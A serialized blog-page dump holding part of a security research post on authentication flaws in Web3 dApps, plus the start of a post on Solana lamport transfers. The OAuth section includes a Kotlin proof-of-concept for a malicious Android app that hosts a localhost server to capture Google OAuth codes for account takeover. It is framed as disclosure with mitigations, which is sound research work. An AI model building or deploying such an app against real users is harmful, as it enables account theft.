73304},{"style":959},[73305],{"type":30,"value":1503},{"type":24,"tag":930,"props":73307,"children":73308},{"class":932,"line":1131},[73309,73314,73318,73322,73326,73331,73335,73339],{"type":24,"tag":930,"props":73310,"children":73311},{"style":1023},[73312],{"type":30,"value":73313},"        console",{"type":24,"tag":930,"props":73315,"children":73316},{"style":959},[73317],{"type":30,"value":436},{"type":24,"tag":930,"props":73319,"children":73320},{"style":1002},[73321],{"type":30,"value":17967},{"type":24,"tag":930,"props":73323,"children":73324},{"style":959},[73325],{"type":30,"value":1010},{"type":24,"tag":930,"props":73327,"children":73328},{"style":1270},[73329],{"type":30,"value":73330},"'Error parsing token:'",{"type":24,"tag":930,"props":73332,"children":73333},{"style":959},[73334],{"type":30,"value":962},{"type":24,"tag":930,"props":73336,"children":73337},{"style":1023},[73338],{"type":30,"value":17967},{"type":24,"tag":930,"props":73340,"children":73341},{"style":959},[73342],{"type":30,"value":1278},{"type":24,"tag":930,"props":73344,"children":73345},{"class":932,"line":1144},[73346,73350,73355],{"type":24,"tag":930,"props":73347,"children":73348},{"style":1079},[73349],{"type":30,"value":18847},{"type":24,"tag":930,"props":73351,"children":73352},{"style":937},[73353],{"type":30,"value":73354}," null",{"type":24,"tag":930,"props":73356,"children":73357},{"style":959},[73358],{"type":30,"value":5539},{"type":24,"tag":930,"props":73360,"children":73361},{"class":932,"line":1169},[73362],{"type":24,"tag":930,"props":73363,"children":73364},{"style":959},[73365],{"type":30,"value":1840},{"type":24,"tag":930,"props":73367,"children":73368},{"class":932,"line":1191},[73369],{"type":24,"tag":930,"props":73370,"children":73371},{"style":959},[73372],{"type":30,"value":2528},{"type":24,"tag":151,"props":73374,"children":73375},{"id":43421},[73376],{"type":30,"value":43424},{"type":24,"tag":33,"props":73378,"children":73379},{},[73380,73382,73389,73391,73397],{"type":30,"value":73381},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":24,"tag":37,"props":73383,"children":73386},{"href":73384,"rel":73385},"https://supabase.com/docs/guides/database/postgres/row-level-security",[41],[73387],{"type":30,"value":73388},"Row-Level Security",{"type":30,"value":73390}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":24,"tag":156,"props":73392,"children":73394},{"className":73393},[],[73395],{"type":30,"value":73396},"app_metadata",{"type":30,"value":73398},". These fields must be strictly validated at every step of their creation and update processes.",{"type":24,"tag":68,"props":73400,"children":73402},{"id":73401},"oauth-in-development-environments",[73403],{"type":30,"value":73404},"OAuth in development environments",{"type":24,"tag":33,"props":73406,"children":73407},{},[73408,73410,73417,73419,73424],{"type":30,"value":73409},"After watching a ",{"type":24,"tag":37,"props":73411,"children":73414},{"href":73412,"rel":73413},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[41],[73415],{"type":30,"value":73416},"talk",{"type":30,"value":73418}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":24,"tag":156,"props":73420,"children":73422},{"className":73421},[],[73423],{"type":30,"value":72850},{"type":30,"value":73425}," parameter during the OAuth flow.",{"type":24,"tag":33,"props":73427,"children":73428},{},[73429,73431,73438],{"type":30,"value":73430},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":24,"tag":37,"props":73432,"children":73435},{"href":73433,"rel":73434},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[41],[73436],{"type":30,"value":73437},"Remote Code Execution",{"type":30,"value":73439}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":24,"tag":33,"props":73441,"children":73442},{},[73443,73445,73451],{"type":30,"value":73444},"In one of our client's implementations, we identified that ",{"type":24,"tag":156,"props":73446,"children":73448},{"className":73447},[],[73449],{"type":30,"value":73450},"localhost:3000",{"type":30,"value":73452}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":24,"tag":33,"props":73454,"children":73455},{},[73456],{"type":30,"value":73457},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":24,"tag":920,"props":73459,"children":73463},{"className":73460,"code":73461,"language":73462,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[73464],{"type":24,"tag":156,"props":73465,"children":73466},{"__ignoreMap":7},[73467],{"type":24,"tag":930,"props":73468,"children":73469},{"class":932,"line":933},[73470],{"type":24,"tag":930,"props":73471,"children":73472},{},[73473],{"type":30,"value":73461},{"type":24,"tag":33,"props":73475,"children":73476},{},[73477],{"type":30,"value":73478},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":24,"tag":920,"props":73480,"children":73484},{"className":73481,"code":73482,"language":73483,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[73485],{"type":24,"tag":156,"props":73486,"children":73487},{"__ignoreMap":7},[73488,73515,73522,73554,73576,73583,73591,73613,73625,73637,73672,73697,73747,73754,73761,73768,73776,73798,73833,73846,73853,73860,73881,73907,73919,73940,73957,73969,73995,74034,74055,74062,74074,74099,74111,74124,74132,74139,74146,74153,74160,74190,74197],{"type":24,"tag":930,"props":73489,"children":73490},{"class":932,"line":933},[73491,73496,73501,73506,73511],{"type":24,"tag":930,"props":73492,"children":73493},{"style":937},[73494],{"type":30,"value":73495},"class",{"type":24,"tag":930,"props":73497,"children":73498},{"style":943},[73499],{"type":30,"value":73500}," MainActivity",{"type":24,"tag":930,"props":73502,"children":73503},{"style":959},[73504],{"type":30,"value":73505}," : ",{"type":24,"tag":930,"props":73507,"children":73508},{"style":943},[73509],{"type":30,"value":73510},"AppCompatActivity",{"type":24,"tag":930,"props":73512,"children":73513},{"style":959},[73514],{"type":30,"value":18839},{"type":24,"tag":930,"props":73516,"children":73517},{"class":932,"line":984},[73518],{"type":24,"tag":930,"props":73519,"children":73520},{"emptyLinePlaceholder":16},[73521],{"type":30,"value":2412},{"type":24,"tag":930,"props":73523,"children":73524},{"class":932,"line":993},[73525,73530,73534,73539,73544,73549],{"type":24,"tag":930,"props":73526,"children":73527},{"style":937},[73528],{"type":30,"value":73529},"    override",{"type":24,"tag":930,"props":73531,"children":73532},{"style":937},[73533],{"type":30,"value":9320},{"type":24,"tag":930,"props":73535,"children":73536},{"style":1002},[73537],{"type":30,"value":73538}," onCreate",{"type":24,"tag":930,"props":73540,"children":73541},{"style":959},[73542],{"type":30,"value":73543},"(savedInstanceState: ",{"type":24,"tag":930,"props":73545,"children":73546},{"style":943},[73547],{"type":30,"value":73548},"Bundle",{"type":24,"tag":930,"props":73550,"children":73551},{"style":959},[73552],{"type":30,"value":73553},"?) {\n",{"type":24,"tag":930,"props":73555,"children":73556},{"class":932,"line":1057},[73557,73562,73566,73571],{"type":24,"tag":930,"props":73558,"children":73559},{"style":937},[73560],{"type":30,"value":73561},"        super",{"type":24,"tag":930,"props":73563,"children":73564},{"style":959},[73565],{"type":30,"value":436},{"type":24,"tag":930,"props":73567,"children":73568},{"style":1002},[73569],{"type":30,"value":73570},"onCreate",{"type":24,"tag":930,"props":73572,"children":73573},{"style":959},[73574],{"type":30,"value":73575},"(savedInstanceState)\n",{"type":24,"tag":930,"props":73577,"children":73578},{"class":932,"line":1066},[73579],{"type":24,"tag":930,"props":73580,"children":73581},{"emptyLinePlaceholder":16},[73582],{"type":30,"value":2412},{"type":24,"tag":930,"props":73584,"children":73585},{"class":932,"line":1075},[73586],{"type":24,"tag":930,"props":73587,"children":73588},{"style":1422},[73589],{"type":30,"value":73590},"        // Start the Ktor web server\n",{"type":24,"tag":930,"props":73592,"children":73593},{"class":932,"line":1122},[73594,73599,73604,73609],{"type":24,"tag":930,"props":73595,"children":73596},{"style":1002},[73597],{"type":30,"value":73598},"        CoroutineScope",{"type":24,"tag":930,"props":73600,"children":73601},{"style":959},[73602],{"type":30,"value":73603},"(Dispatchers.IO).",{"type":24,"tag":930,"props":73605,"children":73606},{"style":1002},[73607],{"type":30,"value":73608},"launch",{"type":24,"tag":930,"props":73610,"children":73611},{"style":959},[73612],{"type":30,"value":981},{"type":24,"tag":930,"props":73614,"children":73615},{"class":932,"line":1131},[73616,73621],{"type":24,"tag":930,"props":73617,"children":73618},{"style":1079},[73619],{"type":30,"value":73620},"            try",{"type":24,"tag":930,"props":73622,"children":73623},{"style":959},[73624],{"type":30,"value":981},{"type":24,"tag":930,"props":73626,"children":73627},{"class":932,"line":1144},[73628,73633],{"type":24,"tag":930,"props":73629,"children":73630},{"style":1002},[73631],{"type":30,"value":73632},"                startWebServer",{"type":24,"tag":930,"props":73634,"children":73635},{"style":959},[73636],{"type":30,"value":10846},{"type":24,"tag":930,"props":73638,"children":73639},{"class":932,"line":1169},[73640,73645,73650,73654,73659,73663,73668],{"type":24,"tag":930,"props":73641,"children":73642},{"style":959},[73643],{"type":30,"value":73644},"                Log.",{"type":24,"tag":930,"props":73646,"children":73647},{"style":1002},[73648],{"type":30,"value":73649},"d",{"type":24,"tag":930,"props":73651,"children":73652},{"style":959},[73653],{"type":30,"value":1010},{"type":24,"tag":930,"props":73655,"children":73656},{"style":1270},[73657],{"type":30,"value":73658},"\"WebServer\"",{"type":24,"tag":930,"props":73660,"children":73661},{"style":959},[73662],{"type":30,"value":962},{"type":24,"tag":930,"props":73664,"children":73665},{"style":1270},[73666],{"type":30,"value":73667},"\"Server started on http://localhost:3000\"",{"type":24,"tag":930,"props":73669,"children":73670},{"style":959},[73671],{"type":30,"value":1054},{"type":24,"tag":930,"props":73673,"children":73674},{"class":932,"line":1191},[73675,73679,73683,73688,73693],{"type":24,"tag":930,"props":73676,"children":73677},{"style":959},[73678],{"type":30,"value":2312},{"type":24,"tag":930,"props":73680,"children":73681},{"style":937},[73682],{"type":30,"value":4760},{"type":24,"tag":930,"props":73684,"children":73685},{"style":959},[73686],{"type":30,"value":73687}," (e: ",{"type":24,"tag":930,"props":73689,"children":73690},{"style":943},[73691],{"type":30,"value":73692},"Exception",{"type":24,"tag":930,"props":73694,"children":73695},{"style":959},[73696],{"type":30,"value":1503},{"type":24,"tag":930,"props":73698,"children":73699},{"class":932,"line":1223},[73700,73704,73708,73712,73716,73720,73725,73729,73734,73738,73742],{"type":24,"tag":930,"props":73701,"children":73702},{"style":959},[73703],{"type":30,"value":73644},{"type":24,"tag":930,"props":73705,"children":73706},{"style":1002},[73707],{"type":30,"value":54543},{"type":24,"tag":930,"props":73709,"children":73710},{"style":959},[73711],{"type":30,"value":1010},{"type":24,"tag":930,"props":73713,"children":73714},{"style":1270},[73715],{"type":30,"value":73658},{"type":24,"tag":930,"props":73717,"children":73718},{"style":959},[73719],{"type":30,"value":962},{"type":24,"tag":930,"props":73721,"children":73722},{"style":1270},[73723],{"type":30,"value":73724},"\"Error starting server: ",{"type":24,"tag":930,"props":73726,"children":73727},{"style":937},[73728],{"type":30,"value":37197},{"type":24,"tag":930,"props":73730,"children":73731},{"style":1158},[73732],{"type":30,"value":73733},"e.message",{"type":24,"tag":930,"props":73735,"children":73736},{"style":937},[73737],{"type":30,"value":37229},{"type":24,"tag":930,"props":73739,"children":73740},{"style":1270},[73741],{"type":30,"value":23163},{"type":24,"tag":930,"props":73743,"children":73744},{"style":959},[73745],{"type":30,"value":73746},", e)\n",{"type":24,"tag":930,"props":73748,"children":73749},{"class":932,"line":1281},[73750],{"type":24,"tag":930,"props":73751,"children":73752},{"style":959},[73753],{"type":30,"value":1643},{"type":24,"tag":930,"props":73755,"children":73756},{"class":932,"line":1313},[73757],{"type":24,"tag":930,"props":73758,"children":73759},{"style":959},[73760],{"type":30,"value":1831},{"type":24,"tag":930,"props":73762,"children":73763},{"class":932,"line":1335},[73764],{"type":24,"tag":930,"props":73765,"children":73766},{"emptyLinePlaceholder":16},[73767],{"type":30,"value":2412},{"type":24,"tag":930,"props":73769,"children":73770},{"class":932,"line":1376},[73771],{"type":24,"tag":930,"props":73772,"children":73773},{"style":1422},[73774],{"type":30,"value":73775},"        // Open the Google OAuth page\n",{"type":24,"tag":930,"props":73777,"children":73778},{"class":932,"line":1418},[73779,73784,73789,73793],{"type":24,"tag":930,"props":73780,"children":73781},{"style":937},[73782],{"type":30,"value":73783},"        val",{"type":24,"tag":930,"props":73785,"children":73786},{"style":959},[73787],{"type":30,"value":73788}," googleOAuthUrl ",{"type":24,"tag":930,"props":73790,"children":73791},{"style":1158},[73792],{"type":30,"value":1161},{"type":24,"tag":930,"props":73794,"children":73795},{"style":1270},[73796],{"type":30,"value":73797}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":24,"tag":930,"props":73799,"children":73800},{"class":932,"line":1438},[73801,73805,73810,73814,73819,73824,73828],{"type":24,"tag":930,"props":73802,"children":73803},{"style":937},[73804],{"type":30,"value":73783},{"type":24,"tag":930,"props":73806,"children":73807},{"style":959},[73808],{"type":30,"value":73809}," browserIntent ",{"type":24,"tag":930,"props":73811,"children":73812},{"style":1158},[73813],{"type":30,"value":1161},{"type":24,"tag":930,"props":73815,"children":73816},{"style":1002},[73817],{"type":30,"value":73818}," Intent",{"type":24,"tag":930,"props":73820,"children":73821},{"style":959},[73822],{"type":30,"value":73823},"(Intent.ACTION_VIEW, Uri.",{"type":24,"tag":930,"props":73825,"children":73826},{"style":1002},[73827],{"type":30,"value":42299},{"type":24,"tag":930,"props":73829,"children":73830},{"style":959},[73831],{"type":30,"value":73832},"(googleOAuthUrl))\n",{"type":24,"tag":930,"props":73834,"children":73835},{"class":932,"line":1479},[73836,73841],{"type":24,"tag":930,"props":73837,"children":73838},{"style":1002},[73839],{"type":30,"value":73840},"        startActivity",{"type":24,"tag":930,"props":73842,"children":73843},{"style":959},[73844],{"type":30,"value":73845},"(browserIntent)\n",{"type":24,"tag":930,"props":73847,"children":73848},{"class":932,"line":1506},[73849],{"type":24,"tag":930,"props":73850,"children":73851},{"style":959},[73852],{"type":30,"value":1840},{"type":24,"tag":930,"props":73854,"children":73855},{"class":932,"line":1525},[73856],{"type":24,"tag":930,"props":73857,"children":73858},{"emptyLinePlaceholder":16},[73859],{"type":30,"value":2412},{"type":24,"tag":930,"props":73861,"children":73862},{"class":932,"line":1569},[73863,73868,73872,73877],{"type":24,"tag":930,"props":73864,"children":73865},{"style":937},[73866],{"type":30,"value":73867},"    private",{"type":24,"tag":930,"props":73869,"children":73870},{"style":937},[73871],{"type":30,"value":9320},{"type":24,"tag":930,"props":73873,"children":73874},{"style":1002},[73875],{"type":30,"value":73876}," startWebServer",{"type":24,"tag":930,"props":73878,"children":73879},{"style":959},[73880],{"type":30,"value":18839},{"type":24,"tag":930,"props":73882,"children":73883},{"class":932,"line":1592},[73884,73889,73894,73898,73903],{"type":24,"tag":930,"props":73885,"children":73886},{"style":1002},[73887],{"type":30,"value":73888},"        embeddedServer",{"type":24,"tag":930,"props":73890,"children":73891},{"style":959},[73892],{"type":30,"value":73893},"(CIO, port ",{"type":24,"tag":930,"props":73895,"children":73896},{"style":1158},[73897],{"type":30,"value":1161},{"type":24,"tag":930,"props":73899,"children":73900},{"style":1242},[73901],{"type":30,"value":73902}," 3000",{"type":24,"tag":930,"props":73904,"children":73905},{"style":959},[73906],{"type":30,"value":1503},{"type":24,"tag":930,"props":73908,"children":73909},{"class":932,"line":1610},[73910,73915],{"type":24,"tag":930,"props":73911,"children":73912},{"style":1002},[73913],{"type":30,"value":73914},"            routing",{"type":24,"tag":930,"props":73916,"children":73917},{"style":959},[73918],{"type":30,"value":981},{"type":24,"tag":930,"props":73920,"children":73921},{"class":932,"line":1628},[73922,73927,73931,73936],{"type":24,"tag":930,"props":73923,"children":73924},{"style":937},[73925],{"type":30,"value":73926},"                get",{"type":24,"tag":930,"props":73928,"children":73929},{"style":959},[73930],{"type":30,"value":1010},{"type":24,"tag":930,"props":73932,"children":73933},{"style":1270},[73934],{"type":30,"value":73935},"\"{...}\"",{"type":24,"tag":930,"props":73937,"children":73938},{"style":959},[73939],{"type":30,"value":1503},{"type":24,"tag":930,"props":73941,"children":73942},{"class":932,"line":1637},[73943,73948,73953],{"type":24,"tag":930,"props":73944,"children":73945},{"style":959},[73946],{"type":30,"value":73947},"                    call.",{"type":24,"tag":930,"props":73949,"children":73950},{"style":1002},[73951],{"type":30,"value":73952},"respondHtml",{"type":24,"tag":930,"props":73954,"children":73955},{"style":959},[73956],{"type":30,"value":981},{"type":24,"tag":930,"props":73958,"children":73959},{"class":932,"line":1646},[73960,73965],{"type":24,"tag":930,"props":73961,"children":73962},{"style":1002},[73963],{"type":30,"value":73964},"                        head",{"type":24,"tag":930,"props":73966,"children":73967},{"style":959},[73968],{"type":30,"value":981},{"type":24,"tag":930,"props":73970,"children":73971},{"class":932,"line":1673},[73972,73977,73982,73986,73991],{"type":24,"tag":930,"props":73973,"children":73974},{"style":1002},[73975],{"type":30,"value":73976},"                            meta",{"type":24,"tag":930,"props":73978,"children":73979},{"style":959},[73980],{"type":30,"value":73981},"(charset ",{"type":24,"tag":930,"props":73983,"children":73984},{"style":1158},[73985],{"type":30,"value":1161},{"type":24,"tag":930,"props":73987,"children":73988},{"style":1270},[73989],{"type":30,"value":73990}," \"UTF-8\"",{"type":24,"tag":930,"props":73992,"children":73993},{"style":959},[73994],{"type":30,"value":1054},{"type":24,"tag":930,"props":73996,"children":73997},{"class":932,"line":1692},[73998,74002,74007,74011,74016,74021,74025,74030],{"type":24,"tag":930,"props":73999,"children":74000},{"style":1002},[74001],{"type":30,"value":73976},{"type":24,"tag":930,"props":74003,"children":74004},{"style":959},[74005],{"type":30,"value":74006},"(name ",{"type":24,"tag":930,"props":74008,"children":74009},{"style":1158},[74010],{"type":30,"value":1161},{"type":24,"tag":930,"props":74012,"children":74013},{"style":1270},[74014],{"type":30,"value":74015}," \"viewport\"",{"type":24,"tag":930,"props":74017,"children":74018},{"style":959},[74019],{"type":30,"value":74020},", content ",{"type":24,"tag":930,"props":74022,"children":74023},{"style":1158},[74024],{"type":30,"value":1161},{"type":24,"tag":930,"props":74026,"children":74027},{"style":1270},[74028],{"type":30,"value":74029}," \"width=device-width, initial-scale=1.0\"",{"type":24,"tag":930,"props":74031,"children":74032},{"style":959},[74033],{"type":30,"value":1054},{"type":24,"tag":930,"props":74035,"children":74036},{"class":932,"line":1730},[74037,74042,74046,74051],{"type":24,"tag":930,"props":74038,"children":74039},{"style":1002},[74040],{"type":30,"value":74041},"                            title",{"type":24,"tag":930,"props":74043,"children":74044},{"style":959},[74045],{"type":30,"value":1010},{"type":24,"tag":930,"props":74047,"children":74048},{"style":1270},[74049],{"type":30,"value":74050},"\"OAuth Redirect\"",{"type":24,"tag":930,"props":74052,"children":74053},{"style":959},[74054],{"type":30,"value":1054},{"type":24,"tag":930,"props":74056,"children":74057},{"class":932,"line":1762},[74058],{"type":24,"tag":930,"props":74059,"children":74060},{"style":959},[74061],{"type":30,"value":4823},{"type":24,"tag":930,"props":74063,"children":74064},{"class":932,"line":1775},[74065,74070],{"type":24,"tag":930,"props":74066,"children":74067},{"style":1002},[74068],{"type":30,"value":74069},"                        body",{"type":24,"tag":930,"props":74071,"children":74072},{"style":959},[74073],{"type":30,"value":981},{"type":24,"tag":930,"props":74075,"children":74076},{"class":932,"line":1825},[74077,74082,74086,74090,74095],{"type":24,"tag":930,"props":74078,"children":74079},{"style":1002},[74080],{"type":30,"value":74081},"                            h1",{"type":24,"tag":930,"props":74083,"children":74084},{"style":959},[74085],{"type":30,"value":12694},{"type":24,"tag":930,"props":74087,"children":74088},{"style":1158},[74089],{"type":30,"value":1400},{"type":24,"tag":930,"props":74091,"children":74092},{"style":1270},[74093],{"type":30,"value":74094},"\"Google OAuth Redirect\"",{"type":24,"tag":930,"props":74096,"children":74097},{"style":959},[74098],{"type":30,"value":12704},{"type":24,"tag":930,"props":74100,"children":74101},{"class":932,"line":1834},[74102,74107],{"type":24,"tag":930,"props":74103,"children":74104},{"style":1002},[74105],{"type":30,"value":74106},"                            script",{"type":24,"tag":930,"props":74108,"children":74109},{"style":959},[74110],{"type":30,"value":981},{"type":24,"tag":930,"props":74112,"children":74113},{"class":932,"line":1843},[74114,74119],{"type":24,"tag":930,"props":74115,"children":74116},{"style":1158},[74117],{"type":30,"value":74118},"                                +",{"type":24,"tag":930,"props":74120,"children":74121},{"style":1270},[74122],{"type":30,"value":74123},"\"document.body.innerText = location.search;\"\n",{"type":24,"tag":930,"props":74125,"children":74126},{"class":932,"line":1851},[74127],{"type":24,"tag":930,"props":74128,"children":74129},{"style":959},[74130],{"type":30,"value":74131},"                            }\n",{"type":24,"tag":930,"props":74133,"children":74134},{"class":932,"line":1919},[74135],{"type":24,"tag":930,"props":74136,"children":74137},{"style":959},[74138],{"type":30,"value":4823},{"type":24,"tag":930,"props":74140,"children":74141},{"class":932,"line":1927},[74142],{"type":24,"tag":930,"props":74143,"children":74144},{"style":959},[74145],{"type":30,"value":4831},{"type":24,"tag":930,"props":74147,"children":74148},{"class":932,"line":1935},[74149],{"type":24,"tag":930,"props":74150,"children":74151},{"style":959},[74152],{"type":30,"value":1634},{"type":24,"tag":930,"props":74154,"children":74155},{"class":932,"line":1943},[74156],{"type":24,"tag":930,"props":74157,"children":74158},{"style":959},[74159],{"type":30,"value":1643},{"type":24,"tag":930,"props":74161,"children":74162},{"class":932,"line":1955},[74163,74168,74173,74178,74182,74186],{"type":24,"tag":930,"props":74164,"children":74165},{"style":959},[74166],{"type":30,"value":74167},"        }.",{"type":24,"tag":930,"props":74169,"children":74170},{"style":1002},[74171],{"type":30,"value":74172},"start",{"type":24,"tag":930,"props":74174,"children":74175},{"style":959},[74176],{"type":30,"value":74177},"(wait ",{"type":24,"tag":930,"props":74179,"children":74180},{"style":1158},[74181],{"type":30,"value":1161},{"type":24,"tag":930,"props":74183,"children":74184},{"style":937},[74185],{"type":30,"value":15576},{"type":24,"tag":930,"props":74187,"children":74188},{"style":959},[74189],{"type":30,"value":1054},{"type":24,"tag":930,"props":74191,"children":74192},{"class":932,"line":1975},[74193],{"type":24,"tag":930,"props":74194,"children":74195},{"style":959},[74196],{"type":30,"value":1840},{"type":24,"tag":930,"props":74198,"children":74199},{"class":932,"line":1995},[74200],{"type":24,"tag":930,"props":74201,"children":74202},{"style":959},[74203],{"type":30,"value":2528},{"type":24,"tag":33,"props":74205,"children":74206},{},[74207],{"type":30,"value":74208},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":24,"tag":33,"props":74210,"children":74211},{},[74212],{"type":30,"value":74213},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":24,"tag":151,"props":74215,"children":74217},{"id":74216},"mitigation-1",[74218],{"type":30,"value":43424},{"type":24,"tag":33,"props":74220,"children":74221},{},[74222,74224,74229],{"type":30,"value":74223},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":24,"tag":156,"props":74225,"children":74227},{"className":74226},[],[74228],{"type":30,"value":72850},{"type":30,"value":74230}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":24,"tag":68,"props":74232,"children":74233},{"id":5876},[74234],{"type":30,"value":5879},{"type":24,"tag":33,"props":74236,"children":74237},{},[74238],{"type":30,"value":74239},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":24,"tag":33,"props":74241,"children":74242},{},[74243],{"type":30,"value":74244},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":24,"tag":5957,"props":74246,"children":74247},{},[74248],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":74250},[74251,74258,74263,74266],{"id":72618,"depth":984,"text":72621,"children":74252},[74253,74254,74255,74256,74257],{"id":72629,"depth":993,"text":72632},{"id":72656,"depth":993,"text":72659},{"id":72717,"depth":993,"text":72720},{"id":72774,"depth":993,"text":72777},{"id":72873,"depth":993,"text":72876},{"id":72919,"depth":984,"text":72922,"children":74259},[74260,74261,74262],{"id":72925,"depth":993,"text":72928},{"id":72952,"depth":993,"text":72955},{"id":43421,"depth":993,"text":43424},{"id":73401,"depth":984,"text":73404,"children":74264},[74265],{"id":74216,"depth":993,"text":43424},{"id":5876,"depth":984,"text":5879},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":74271,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":74272,"description":74273,"author":43540,"image":74274,"date":74276,"isFeatured":16,"tags":74277,"onBlogPage":16,"body":74278,"_type":5983,"_id":78931,"_source":5985,"_file":78932,"_stem":78933,"_extension":5988},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":74275,"height":15,"width":15},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[6000],{"type":21,"children":74279,"toc":78920},[74280,74284,74289,74303,74309,74314,74344,74349,74354,75392,75397,75405,75410,75416,75422,75434,75467,75479,75492,75504,75949,75954,76000,76006,76011,76098,76103,76117,76130,76792,76797,76809,76815,76826,76838,76992,77006,77025,77046,77052,77057,77402,77407,77413,77432,77446,78068,78073,78093,78098,78103,78109,78121,78142,78317,78323,78328,78629,78650,78662,78674,78758,78778,78790,78796,78808,78814,78819,78842,78854,78860,78872,78877,78883,78888,78893,78911,78916],{"type":24,"tag":68,"props":74281,"children":74282},{"id":27},[74283],{"type":30,"value":31},{"type":24,"tag":33,"props":74285,"children":74286},{},[74287],{"type":30,"value":74288},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":24,"tag":33,"props":74290,"children":74291},{},[74292,74294,74301],{"type":30,"value":74293},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":24,"tag":37,"props":74295,"children":74298},{"href":74296,"rel":74297},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[41],[74299],{"type":30,"value":74300},"King of the Ether",{"type":30,"value":74302},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":24,"tag":68,"props":74304,"children":74306},{"id":74305},"the-game-king-of-the-sol",[74307],{"type":30,"value":74308},"The Game: King of the SOL",{"type":24,"tag":33,"props":74310,"children":74311},{},[74312],{"type":30,"value":74313},"The game works like 